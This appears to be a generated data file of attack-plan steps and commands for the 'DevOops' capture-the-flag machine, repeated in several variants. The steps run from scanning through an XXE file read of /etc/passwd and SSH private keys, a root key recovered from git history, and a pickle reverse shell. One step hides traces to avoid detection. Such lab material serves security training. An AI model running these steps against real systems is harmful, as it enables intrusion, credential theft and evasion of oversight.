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Identify the open ports on the target machine using nmap. | Run the command 'nmap -sV -sC -p 22,5000 <target_ip>' to identify open ports and the services running on them. |
Check the HTTP service on port 5000. | Open a web browser and navigate to 'http://<target_ip>:5000' to see the web page served by the Flask application. |
Use Gobuster to enumerate directories on the web server. | Run 'gobuster -u http://<target_ip>:5000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt -t 30' to find hidden directories. |
Inspect the response from the /upload endpoint. | Attempt to upload a simple XML file to '/upload' to test the API interface and examine the expected XML structure. |
Execute an XXE attack to read files from the server. | Create an XML file that defines an external entity which points to sensitive files like /etc/passwd and upload it to '/upload'. |
Craft a malicious payload for a Python pickle deserialization bug. | Create a payload that sends a pickled object containing a command to be executed on the server. |
Use SSH to connect to the machine after obtaining the RSA key. | Use the command 'ssh -i <path_to_rsa_key> roosa@<target_ip>' with the obtained RSA private key to establish a connection. |
Check for Git repositories on the target. | Use the command 'find / -type d -name \".git\"' to locate any Git repositories on the machine. |
Review the Git history for sensitive information. | Run 'git log --name-only --oneline' within the Git repo to see recent changes and potential sensitive files. |
Retrieve the SSH key from a previous commit. | Use 'git checkout <commit_id> -- <file>' to recover the SSH key from a prior commit of the Git repository. |
Check for additional users on the system. | Read the /etc/passwd file using the previously established file read capability to find valid user accounts. |
Bruteforce the Git repository for sensitive credentials. | Use Git commands to inspect untracked files and check many versions of files for potential secrets. |
Set up a reverse shell using the pickle exploit. | Use the appropriate payload to send a command that creates a reverse shell back to your listening netcat instance. |
Reverse the Git environment to restore the state after exploitation. | After obtaining sensitive data, use 'git reset --hard <commit_id>' to restore the repository to its previous state. |
Look for any leftover artifacts from previous exploits. | Manually review the filesystem and Git history for any remaining traces of executed exploits or data accessed. |
Identify open ports on the target machine using nmap. | Run the command 'nmap -sV -sC -p 22,5000 <target_ip>' to find open ports and their corresponding services. |
Perform a directory enumeration using Gobuster. | Execute the command 'gobuster -u http://<target_ip>:5000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt -t 30'. |
Access the /upload endpoint. | Visit 'http://<target_ip>:5000/upload' to interact with the file upload functionality. |
Test XML file uploads with expected structure. | Create an XML file with a structure that includes Author, Subject, and Content elements and attempt to upload it. |
Try to exploit XXE to read files from the server. | Create an XML entity that reads a sensitive file, such as '/etc/lsb-release', and upload it. |
Retrieve user SSH key using XXE. | Upload a crafted XML file that reads the '/home/roosa/.ssh/id_rsa' and check the response for the SSH key. |
Check for alternative paths in the application for privilege escalation. | Look for any .git directories within the user's home folder with 'find / -type d -name .git'. |
Examine the git log for interesting history. | Run 'git log --name-only --oneline' to identify which files have been changed in the repository. |
Identify sensitive information in git commits. | Look for commit messages or file changes that indicate sensitive data, like SSH keys or credentials. |
Use a one-liner or script to automate file retrieval. | Create a script that modifies an upload XML file to read different sensitive files. |
Attempt to gain shell access through SSH using found keys. | Use the SSH key retrieved earlier with the command 'ssh <user>@<target_ip> -i <path_to_key>'. |
Look for vulnerabilities in the web application source code. | Read through the source code for common vulnerabilities such as insecure deserialization. |
Exploit Python pickle vulnerability for remote code execution. | Craft a malicious object that executes arbitrary commands during the unpickling process. |
Monitor network traffic to confirm command execution. | Use a tool like tcpdump to observe if the command was executed successfully. |
Clean up any changes made during exploitation. | Reset any modified files to their original state with 'git reset --hard <commit_hash>'. |
Begin the penetration test by conducting reconnaissance on the target machine. | Use tools like nmap to scan the target's open ports and services. |
Identify the open ports of the target using nmap. | Run the command: nmap -sV -sC -p 22,5000 <target_ip> to identify services and versions. |
Exploit the discovered HTTP service on port 5000. | Check the HTTP service by navigating to http://<target_ip>:5000 in a web browser. |
Utilize gobuster for directory enumeration to discover hidden endpoints. | Start gobuster with the command: gobuster -u http://<target_ip>:5000 -w /path/to/wordlist.txt -x txt. |
Identify the XML upload endpoint. | Look for the /upload path, which allows file uploads as indicated by the gobuster results. |
Craft a benign XML file for initial testing of the upload functionality. | Prepare an XML file structured as <Author>Test</Author><Subject>Testing</Subject><Content>This is a test</Content>. |
Attempt to upload the benign XML to the /upload endpoint. | Submit the XML file through a POST request to the /upload path. |
Check for any responses to the XML upload attempts. | Look for HTTP status codes indicating success or error, and adjust payload accordingly. |
Attempt to leverage XXE (XML External Entity) for file reading. | Create an XML payload that includes a DOCTYPE declaration with an external entity pointing to a critical file. |
Construct an XML payload to read the /etc/lsb-release file. | Use an entity declaration in the XML to read sensitive files: <!DOCTYPE foo [ <!ENTITY xxe SYSTEM 'file:///etc/lsb-release'> ]> <foo>&xxe;</foo>. |
Inject the crafted XXE payload into the upload process. | Upload the XML using the /upload endpoint to trigger the entity resolution. |
Verify if arbitrary file reading was successful. | Check the response for contents of /etc/lsb-release to confirm the exploit worked. |
Extract SSH private keys from the target machine. | Use the previously identified arbitrary file reading method to access /home/roosa/.ssh/id_rsa. |
Establish an SSH session using the captured private key. | Attempt to connect to the target with ssh -i <private_key_file> roosa@<target_ip>. |
Investigate the presence of git repositories for privilege escalation. | Look for any hidden .git directories to analyze version control history for sensitive data. |
Identify the open ports on the target machine using nmap. | Run the command `nmap -sV -sC -p 22,5000 TARGET_IP` to identify the services running on the open ports. |
Determine the website structure on port 5000. | Use `gobuster` with the command `gobuster -u http://TARGET_IP:5000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt -t 30` to find hidden directories. |
Check the contents of the /upload endpoint. | Visit `http://TARGET_IP:5000/upload` in a web browser to see the API interface for file uploads. |
Craft an XML payload for XXE exploitation. | Create an XML file containing a Doctype declaration with an entity pointing to a sensitive file, such as `/etc/lsb-release`. |
Upload your crafted XML file to the server. | Use a tool like curl to POST the XML file: `curl -X POST -F 'file=@yourfile.xml' http://TARGET_IP:5000/upload`. |
Retrieve the contents of a sensitive file using XXE. | Observe the server's response after uploading; if successful, the content of the requested file will be returned. |
Identify users on the system from /etc/passwd. | Use the command `./devoops_get.py /etc/passwd | grep -v -e false -e nologin` to list the active users. |
Extract the SSH private key for a user. | Run `./devoops_get.py /home/roosa/.ssh/id_rsa` to retrieve the RSA private key for the 'roosa' user. |
SSH into the machine as the 'roosa' user. | Use the command `ssh roosa@TARGET_IP -i ~/id_rsa_devoops_roosa` to connect to the machine. |
Check for a git repository in the user's home directory. | Run `find / -type d -name '.git' 2>/dev/null` to search for git repositories. |
Inspect the git history for sensitive information. | Use `git log --name-only --oneline` in the discovered git repo to find previous commits and their impacts. |
Access the historical commit that may contain sensitive data. | Checkout the previous commit, e.g., `git checkout d387abf -- resources/integration/authcredentials.key` to retrieve the SSH key. |
Check if the retrieved key can be used for root access. | Try connecting to the machine using `ssh -i ~/path_to_key root@TARGET_IP`. |
Look for a potential Python pickle deserialization vulnerability. | Review the source code in the `/deploy/src/feed.py` file for any use of `pickle.loads()` with user inputs. |
Construct a malicious payload for remote command execution using pickle. | Build a Python class that, upon deserialization, executes a command using os.system. |
Run a nmap scan to discover open ports on the target machine. | nmap -sT -p- --min-rate 5000 10.10.10.91 |
Scan for service versions on the identified open ports. | nmap -sV -sC -p 22,5000 10.10.10.91 |
Access the web application running on port 5000. | Open http://10.10.10.91:5000 in a web browser. |
Use gobuster to enumerate directories on the web application. | gobuster -u http://10.10.10.91:5000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt -t 30 |
Test the /upload endpoint for file upload functionality. | Attempt to upload a simple XML file to http://10.10.10.91:5000/upload. |
Construct a valid XML payload for the /upload endpoint. | <Author>0xdf</Author><Subject>Testing</Subject><Content>This is a test</Content> |
Upload a crafted XML file to exploit XXE vulnerability. | Craft an XML payload to read /etc/lsb-release and submit it to the /upload endpoint. |
Check the response for arbitrary file read using XXE. | Look for the content of /etc/lsb-release in the upload response. |
Retrieve the private SSH key for the user 'roosa'. | Use the same XXE exploit to read /home/roosa/.ssh/id_rsa. |
Establish an SSH connection as the 'roosa' user using the retrieved private key. | ssh roosa@10.10.10.91 -i ~/id_rsa_devoops_roosa |
Look for Git repositories in 'roosa's home directory. | Find / -type d -name '.git' 2>/dev/null |
Check the git history for sensitive information. | Use 'git log --name-only --oneline' to inspect the commit history. |
Retrieve the private SSH key from a previous commit. | Check out the old commit for 'resources/integration/authcredentials.key'. |
Reset the git repository to its previous state after exploitation. | Run 'git reset --hard HEAD'. |
Exploit the pickle deserialization vulnerability to achieve RCE. | Create a malicious object to execute commands on the server. |
Identify open ports on the target machine | Use nmap to scan for open ports on the target machine, focusing on common services like SSH and HTTP. |
Enumerate web directories and files | Utilize a tool like gobuster to discover hidden directories and files on the web server. |
Upload an XML file to test the file upload functionality | Create a basic XML file that matches the expected structure and upload it to the /upload endpoint. |
Initiate a XXE attack to read files | Craft an XML payload that defines an external entity to read sensitive files such as /etc/passwd. |
Extract user SSH keys using the XXE vulnerability | Use XXE to read the user's SSH key from /home/roosa/.ssh/id_rsa. |
Gain initial user access via SSH | Use the extracted SSH key to log in as the user 'roosa' on the target machine. |
Identify git repositories in the user's home directory | Look for .git directories within 'roosa's' home directory to find source code repositories. |
Check git history for sensitive information | Review the git commit history to identify any changes related to sensitive keys or credentials. |
Extract the root SSH key from a previous git commit | Use git checkout to retrieve an old version of a file containing an SSH key that was not properly removed. |
SSH into the root account using the retrieved key | Connect to the root account on the target machine using the previously extracted SSH key. |
Identify Python deserialization vulnerabilities | Check for places in the code where user input is deserialized without proper validation, particularly with cPickle. |
Craft a malicious payload to exploit the deserialization | Create a Python object that will allow for command execution when deserialized by the vulnerable application. |
Execute a command to get a reverse shell | Use the deserialization exploit to execute a payload that creates a reverse shell back to your machine. |
Establish an interactive shell | Set up a listener on your machine and send a payload that connects back, providing you with an interactive shell. |
Clean up after exploitation | Revert any changes made to the git repository to maintain stealth and avoid detection. |
Begin with reconnaissance phase using nmap to discover open ports and services. | Run the command 'nmap -sV -sC -p 22,5000 10.10.10.91' to identify that ports 22 (SSH) and 5000 (HTTP) are open. |
Conduct a directory enumeration using gobuster for the service running on port 5000. | Run the command 'gobuster -u http://10.10.10.91:5000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt -t 30' to find '/feed' and '/upload' paths. |
Investigate the '/upload' endpoint by crafting a benign XML file for testing. | Create an XML file with basic content and attempt to upload it, monitoring the response for errors. |
Attempt to exploit XXE by modifying the XML payload to read system files. | Use XML external entities to reference files like '/etc/lsb-release' and post it to the '/upload' endpoint. |
Utilize a bash one-liner to automate file retrieval from the server to exploit the XXE vulnerability. | Create and execute a bash script that dynamically replaces file paths in the XML payload to retrieve various sensitive files. |
Review the Git history for sensitive information that might have been committed. | Run 'git log --name-only --oneline' in the repository to identify recent commits that may contain secrets. |
Analyze the results of the Git log for any indications of sensitive SSH keys. | Identify the commit messages that suggest the presence of important files, such as SSH keys, within the repository. |
Check out the previous commit to retrieve the sensitive file mentioned. | Use 'git checkout <commit_id> -- path/to/file' to restore the file containing the SSH key from a previous commit. |
Establish a user shell using the retrieved SSH key. | SSH into the machine using the command 'ssh roosa@10.10.10.91 -i ~/id_rsa_devoops_roosa'. |
Identify further escalation opportunities from the user shell. | Explore the home directory for files that may contain additional credentials or configuration files. |
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